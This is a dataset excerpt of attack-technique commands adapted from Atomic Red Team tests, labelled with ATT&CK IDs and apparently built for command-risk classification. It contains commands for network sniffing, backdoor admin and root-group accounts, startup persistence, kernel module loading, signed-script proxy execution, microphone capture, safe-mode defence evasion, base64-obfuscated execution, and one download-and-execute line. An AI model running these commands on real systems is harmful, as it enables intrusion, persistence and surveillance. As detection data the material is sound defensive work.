cowWhySo/permission-command-corpus huggingface dataset:
Command: sudo #{program_path} -f -i #{ifname} -t 3
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: macos
ATT&CK tags: T1040
Source rule: Filtered Packet Capture macOS using /dev/bpfN with sudo
Notes: Opens a /dev/bpf file (O_RDONLY), sets BPF filter for 'udp' and captures packets for a few seconds.
Command: sudo #{program_path} -a -t 3
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: linux
ATT&CK tags: T1040
Source rule: Packet Capture Linux socket AF_PACKET,SOCK_RAW with sudo
Notes: Captures packets with domain=AF_PACKET, type=SOCK_RAW for a few seconds.
Command: sudo #{program_path} -4 -p 6 -t 3
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: linux
ATT&CK tags: T1040
Source rule: Packet Capture Linux socket AF_INET,SOCK_RAW,TCP with sudo
Notes: Captures packets with domain=AF_INET,type=SOCK_RAW,protocol=TCP for a few seconds.
Command: sudo #{program_path} -4 -P -p 17 -t 3
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: linux
ATT&CK tags: T1040
Source rule: Packet Capture Linux socket AF_INET,SOCK_PACKET,UDP with sudo
Notes: Captures packets with domain=AF_INET,type=SOCK_PACKET,protocol=UDP for a few seconds.
SOCK_PACKET is "obsolete" according to the man page, but still works on Ubuntu 20.04
Command: sudo #{program_path} -a -f -t 3
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: linux
ATT&CK tags: T1040
Source rule: Packet Capture Linux socket AF_PACKET,SOCK_RAW with BPF filter for UDP with sudo
Notes: Captures packets with domain=AF_PACKET,type=SOCK_RAW for a few seconds.
Sets a BPF filter on the socket to filter for UDP traffic.
Command: New-NetEventSession -Name Capture007 -LocalFilePath "$ENV:Temp\sniff.etl" Add-NetEventPacketCaptureProvider -SessionName Capture007 -TruncationLength 100 Start-NetEventSession -Name Capture007 Stop-NetEventSession -Name Capture007 Remove-NetEventSession -Name Capture007
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: windows
ATT&CK tags: T1040
Source rule: PowerShell Network Sniffing
Notes: PowerShell Built-in Cmdlets to capture network traffic.
https://learn.microsoft.com/en-us/powershell/module/neteventpacketcapture/new-neteventsession?view=windowsserver2022-ps
Command: del $ENV:Temp\sniff.etl
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1040
Platform: windows
ATT&CK tags: T1040
Source rule: PowerShell Network Sniffing
Notes: PowerShell Built-in Cmdlets to capture network traffic.
https://learn.microsoft.com/en-us/powershell/module/neteventpacketcapture/new-neteventsession?view=windowsserver2022-ps
Command: sudo cp "#{plist}" /etc/emond.d/rules/T1546.014_emond.plist sudo touch /private/var/db/emondClients/T1546.014
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.014
Platform: macos
ATT&CK tags: T1546.014
Source rule: Persistance with Event Monitor - emond
Notes: Establish persistence via a rule run by OSX's emond (Event Monitor) daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
Command: sudo rm /etc/emond.d/rules/T1546.014_emond.plist sudo rm /private/var/db/emondClients/T1546.014
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1546.014
Platform: macos
ATT&CK tags: T1546.014
Source rule: Persistance with Event Monitor - emond
Notes: Establish persistence via a rule run by OSX's emond (Event Monitor) daemon at startup, based on https://posts.specterops.io/leveraging-emond-on-macos-for-persistence-a040a2785124
Command: useradd -M -N -r -s /bin/bash -c evil_account #{username}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: linux
ATT&CK tags: T1136.001
Source rule: Create a user account on a Linux system
Notes: Create a user via useradd
Command: userdel #{username}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: linux
ATT&CK tags: T1136.001
Source rule: Create a user account on a Linux system
Notes: Create a user via useradd
Command: pw useradd #{username} -s /usr/sbin/nologin -d /nonexistent -c evil_account
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: linux
ATT&CK tags: T1136.001
Source rule: Create a user account on a FreeBSD system
Notes: Create a user via pw
Command: rmuser -y #{username}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: linux
ATT&CK tags: T1136.001
Source rule: Create a user account on a FreeBSD system
Notes: Create a user via pw
Command: dscl . -create /Users/#{username} dscl . -create /Users/#{username} UserShell /bin/zsh dscl . -create /Users/#{username} RealName "#{realname}" dscl . -create /Users/#{username} UniqueID "1010" dscl . -create /Users/#{username} PrimaryGroupID 80 dscl . -create /Users/#{username} NFSHomeDirectory /Users/#{username}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: macos
ATT&CK tags: T1136.001
Source rule: Create a user account on a MacOS system
Notes: Creates a user on a MacOS system with dscl
Command: dscl . -delete /Users/#{username}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: macos
ATT&CK tags: T1136.001
Source rule: Create a user account on a MacOS system
Notes: Creates a user on a MacOS system with dscl
Command: net user /add "#{username}" "#{password}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: windows
ATT&CK tags: T1136.001
Source rule: Create a new user in a command prompt
Notes: Creates a new user in a command prompt. Upon execution, "The command completed successfully." will be displayed. To verify the
new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_CMD"
Command: net user /del "#{username}" >nul 2>&1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: windows
ATT&CK tags: T1136.001
Source rule: Create a new user in a command prompt
Notes: Creates a new user in a command prompt. Upon execution, "The command completed successfully." will be displayed. To verify the
new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_CMD"
Command: New-LocalUser -Name "#{username}" -NoPassword
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: windows
ATT&CK tags: T1136.001
Source rule: Create a new user in PowerShell
Notes: Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the
new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell"
Command: Remove-LocalUser -Name "#{username}" -ErrorAction Ignore
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: windows
ATT&CK tags: T1136.001
Source rule: Create a new user in PowerShell
Notes: Creates a new user in PowerShell. Upon execution, details about the new account will be displayed in the powershell session. To verify the
new account, run "net user" in powershell or CMD and observe that there is a new user named "T1136.001_PowerShell"
Command: useradd -g 0 -M -d /root -s /bin/bash #{username} if [ $(cat /etc/os-release | grep -i 'Name="ubuntu"') ]; then echo "#{username}:#{password}" | sudo chpasswd; else echo "#{password}" | passwd --stdin #{username}; fi;
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: linux
ATT&CK tags: T1136.001
Source rule: Create a new user in Linux with `root` UID and GID.
Notes: Creates a new user in Linux and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.
Command: pw useradd #{username} -g 0 -d /root -s /bin/sh echo "#{password}" | pw usermod #{username} -h 0
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: linux
ATT&CK tags: T1136.001
Source rule: Create a new user in FreeBSD with `root` GID.
Notes: Creates a new user in FreeBSD and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.
Command: pw userdel #{username}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: linux
ATT&CK tags: T1136.001
Source rule: Create a new user in FreeBSD with `root` GID.
Notes: Creates a new user in FreeBSD and adds the user to the `root` group. This technique was used by adversaries during the Butter attack campaign.
Command: net user /add "#{username}" "#{password}" net localgroup administrators "#{username}" /add
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: windows
ATT&CK tags: T1136.001
Source rule: Create a new Windows admin user
Notes: Creates a new admin user in a command prompt.
Command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/0xv1n/dotnetfun/9b3b0d11d1c156909c0b1823cff3004f80b89b1f/Persistence/CreateNewLocalAdmin_ART.ps1')
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: windows
ATT&CK tags: T1136.001
Source rule: Create a new Windows admin user via .NET
Notes: Creates a new admin user in a powershell session without using net.exe
Command: kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- sh -lc 'adduser -D #{username} && id #{username}'
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1136.001
Platform: containers
ATT&CK tags: T1136.001
Source rule: Create a Linux user via kubectl in a Pod
Notes: Launches a short-lived Alpine pod and creates a Linux user inside the pod.
The pod is automatically deleted after execution.
Command: sudo insmod #{module_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.006
Platform: linux
ATT&CK tags: T1547.006
Source rule: Linux - Load Kernel Module via insmod
Notes: This test uses the insmod command to load a kernel module for Linux.
Command: sudo rmmod #{module_name} [ -f #{temp_folder}/safe_to_delete ] && rm -rf #{temp_folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.006
Platform: linux
ATT&CK tags: T1547.006
Source rule: Linux - Load Kernel Module via insmod
Notes: This test uses the insmod command to load a kernel module for Linux.
Command: set -x sudo kextload #{module_path} kextstat 2>/dev/null | grep SoftRAID sudo kextunload #{module_path} sudo kmutil load -p #{module_path} kextstat 2>/dev/null | grep SoftRAID sudo kmutil unload -p #{module_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.006
Platform: macos
ATT&CK tags: T1547.006
Source rule: MacOS - Load Kernel Module via kextload and kmutil
Notes: This test uses the kextload and kmutil commands to load and unload a MacOS kernel module.
Command: sudo #{exe_path} kextstat 2>/dev/null | grep SoftRAID sudo kextunload /Library/Extensions/SoftRAID.kext
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.006
Platform: macos
ATT&CK tags: T1547.006
Source rule: MacOS - Load Kernel Module via KextManagerLoadKextWithURL()
Notes: This test uses the IOKit API to load a kernel module for macOS.
Harcoded to use SoftRAID kext
Command: rm -f #{exe_path}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.006
Platform: macos
ATT&CK tags: T1547.006
Source rule: MacOS - Load Kernel Module via KextManagerLoadKextWithURL()
Notes: This test uses the IOKit API to load a kernel module for macOS.
Harcoded to use SoftRAID kext
Command: $examplePath = Join-Path $env:windir "system32\Com"; if (-not (Test-Path $examplePath)) { New-Item -ItemType Directory -Path $examplePath | Out-Null }; $exampleName = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath $exampleName; $randomBytes = New-Object Byte[] 0x1000; (New-Object Random).NextBytes($randomBytes); [System.IO.File]::WriteAllBytes($exampleFullPath, $randomBytes)
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.006
Platform: windows
ATT&CK tags: T1547.006
Source rule: Snake Malware Kernel Driver Comadmin
Notes: The following Atomic Test will write an file, comadmin.dat, to disk. From the report, Snake's installer drops the kernel driver and a custom DLL which is used to load the driver into a
single AES encrypted file on disk. Typically, this file is named “comadmin.dat” and is stored in the %windows%\system32\Com directory. 
This Atomic Test will write a hardcoded named file to disk in the com directory named comadmin.dat.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0
Command: $examplePath = Join-Path $env:windir "system32\Com"; $exampleName = "comadmin.dat"; $exampleFullPath = Join-Path $examplePath $exampleName; if (Test-Path $exampleFullPath) { Remove-Item $exampleFullPath -Force }
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1547.006
Platform: windows
ATT&CK tags: T1547.006
Source rule: Snake Malware Kernel Driver Comadmin
Notes: The following Atomic Test will write an file, comadmin.dat, to disk. From the report, Snake's installer drops the kernel driver and a custom DLL which is used to load the driver into a
single AES encrypted file on disk. Typically, this file is named “comadmin.dat” and is stored in the %windows%\system32\Com directory. 
This Atomic Test will write a hardcoded named file to disk in the com directory named comadmin.dat.
[Snake Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0
Command: C:\windows\system32\SyncAppvPublishingServer.vbs "\n;#{command_to_execute}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1216
Platform: windows
ATT&CK tags: T1216
Source rule: SyncAppvPublishingServer Signed Script PowerShell Command Execution
Notes: Executes the signed SyncAppvPublishingServer script with options to execute an arbitrary PowerShell command.
Upon execution, calc.exe will be launched.
Command: set comspec=#{command_to_execute} cscript %windir%\System32\manage-bde.wsf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1216
Platform: windows
ATT&CK tags: T1216
Source rule: manage-bde.wsf Signed Script Command Execution
Notes: Executes the signed manage-bde.wsf script with options to execute an arbitrary command.
Command: set comspec=%windir%\System32\cmd.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1216
Platform: windows
ATT&CK tags: T1216
Source rule: manage-bde.wsf Signed Script Command Execution
Notes: Executes the signed manage-bde.wsf script with options to execute an arbitrary command.
Command: odbcconf.exe /S /A {REGSVR "#{dll_payload}"}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.008
Platform: windows
ATT&CK tags: T1218.008
Source rule: Odbcconf.exe - Execute Arbitrary DLL
Notes: Execute arbitrary DLL file stored locally.
Command: cd "#{rsp_file_path}" odbcconf.exe -f "#{rsp_file_name}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1218.008
Platform: windows
ATT&CK tags: T1218.008
Source rule: Odbcconf.exe - Load Response File
Notes: Execute arbitrary response file that will spawn PowerShell.exe.
Source files: https://github.com/woanware/application-restriction-bypasses
Command: $mic = Get-AudioDevice -Recording Set-AudioDevice -ID $mic.ID Start-Sleep -Seconds 5
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1123
Platform: windows
ATT&CK tags: T1123
Source rule: using device audio capture commandlet
Notes: Uses AudioDeviceCmdlets to set the default recording device and simulate audio capture.
Module repo: [AudioDeviceCmdlets](https://github.com/frgnca/AudioDeviceCmdlets)
Command: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStart /t REG_BINARY /d a273b6f07104d601 /f reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /v LastUsedTimeStop /t REG_BINARY /d 96ef514b7204d601 /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1123
Platform: windows
ATT&CK tags: T1123
Source rule: Registry artefact when application use microphone
Notes: [can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)
Command: reg DELETE HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore\microphone\NonPackaged\C:#Windows#Temp#atomic.exe /f
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1123
Platform: windows
ATT&CK tags: T1123
Source rule: Registry artefact when application use microphone
Notes: [can-you-track-processes-accessing-the-camera-and-microphone](https://svch0st.medium.com/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072)
Command: sh #{filename} #{audiofile} #{duration}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1123
Platform: macos
ATT&CK tags: T1123
Source rule: using Quicktime Player
Notes: Use AppleScript to get Quicktime Player to record an audio file from the default microphone.

Should create a non-empty m4a file with sound from the microphone.

- requires Automation permissions but no additional microphone permissions
- saves file in /tmp by default. Other locations likely to require more permissions.
Command: if test -w #{audiofile}; then rm #{audiofile} fi
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1123
Platform: macos
ATT&CK tags: T1123
Source rule: using Quicktime Player
Notes: Use AppleScript to get Quicktime Player to record an audio file from the default microphone.

Should create a non-empty m4a file with sound from the microphone.

- requires Automation permissions but no additional microphone permissions
- saves file in /tmp by default. Other locations likely to require more permissions.
Command: sudo touch /Library/StartupItems/EvilStartup.plist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.005
Platform: macos
ATT&CK tags: T1037.005
Source rule: Add file to Local Library StartupItems
Notes: Modify or create an file in /Library/StartupItems
[Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)
Command: sudo rm /Library/StartupItems/EvilStartup.plist
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.005
Platform: macos
ATT&CK tags: T1037.005
Source rule: Add file to Local Library StartupItems
Notes: Modify or create an file in /Library/StartupItems
[Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)
Command: sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh sudo cp #{path_malicious_plist} /tmp/T1037_005_daemon.plist sudo /Library/StartupItems/atomic.sh start
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.005
Platform: macos
ATT&CK tags: T1037.005
Source rule: Add launch script to launch daemon
Notes: Add launch script to /Library/StartupItems to launch agent
[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
Command: sudo launchctl unload /tmp/T1037_005_daemon.plist sudo rm /tmp/T1037_005_daemon.plist sudo rm /Library/StartupItems/atomic.sh sudo rm /Library/StartupItems/StartupParameters.plist sudo rm /tmp/T1037_005_daemon.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.005
Platform: macos
ATT&CK tags: T1037.005
Source rule: Add launch script to launch daemon
Notes: Add launch script to /Library/StartupItems to launch agent
[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
Command: sudo cp #{path_startup_params} /Library/StartupItems/StartupParameters.plist sudo cp #{path_malicious_script} /Library/StartupItems/atomic.sh sudo cp #{path_malicious_plist} /tmp/T1037_005_agent.plist /Library/StartupItems/atomic.sh start
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.005
Platform: macos
ATT&CK tags: T1037.005
Source rule: Add launch script to launch agent
Notes: Add launch script to /Library/StartupItems to launch agent
[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
Command: sudo launchctl unload /tmp/T1037_005_agent.plist sudo rm /tmp/T1037_005_agent.plist sudo rm /Library/StartupItems/atomic.sh sudo rm /Library/StartupItems/StartupParameters.plist sudo rm /tmp/T1037_005_agent.txt
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1037.005
Platform: macos
ATT&CK tags: T1037.005
Source rule: Add launch script to launch agent
Notes: Add launch script to /Library/StartupItems to launch agent
[Example](https://cybersecurity.att.com/blogs/labs-research/diversity-in-recent-mac-malware)
Command: bcdedit /set safeboot network
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.009
Platform: windows
ATT&CK tags: T1562.009
Source rule: Safe Mode Boot
Notes: Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot
Command: bcdedit /deletevalue {current} safeboot
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1562.009
Platform: windows
ATT&CK tags: T1562.009
Source rule: Safe Mode Boot
Notes: Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot
Command: if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi; cat /tmp/encoded.dat | $cmd > /tmp/art.sh chmod +x /tmp/art.sh /tmp/art.sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: macos,linux
ATT&CK tags: T1027
Source rule: Decode base64 Data into Script
Notes: Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` 
and uname -v
Command: rm /tmp/encoded.dat rm /tmp/art.sh
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: macos,linux
ATT&CK tags: T1027
Source rule: Decode base64 Data into Script
Notes: Creates a base64-encoded data file and decodes it into an executable shell script

Upon successful execution, sh will execute art.sh, which is a base64 encoded command, that echoes `Hello from the Atomic Red Team` 
and uname -v
Command: $OriginalCommand = '#{powershell_command}' $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) $EncodedCommand =[Convert]::ToBase64String($Bytes) $EncodedCommand powershell.exe -EncodedCommand $EncodedCommand
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: Execute base64-encoded PowerShell
Notes: Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"
Command: $OriginalCommand = '#{powershell_command}' $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand) $EncodedCommand =[Convert]::ToBase64String($Bytes) $EncodedCommand Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: T1027
Platform: windows
ATT&CK tags: T1027
Source rule: Execute base64-encoded PowerShell from Windows Registry
Notes: Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

Upon successful execution, powershell will execute encoded command and read/write from the registry.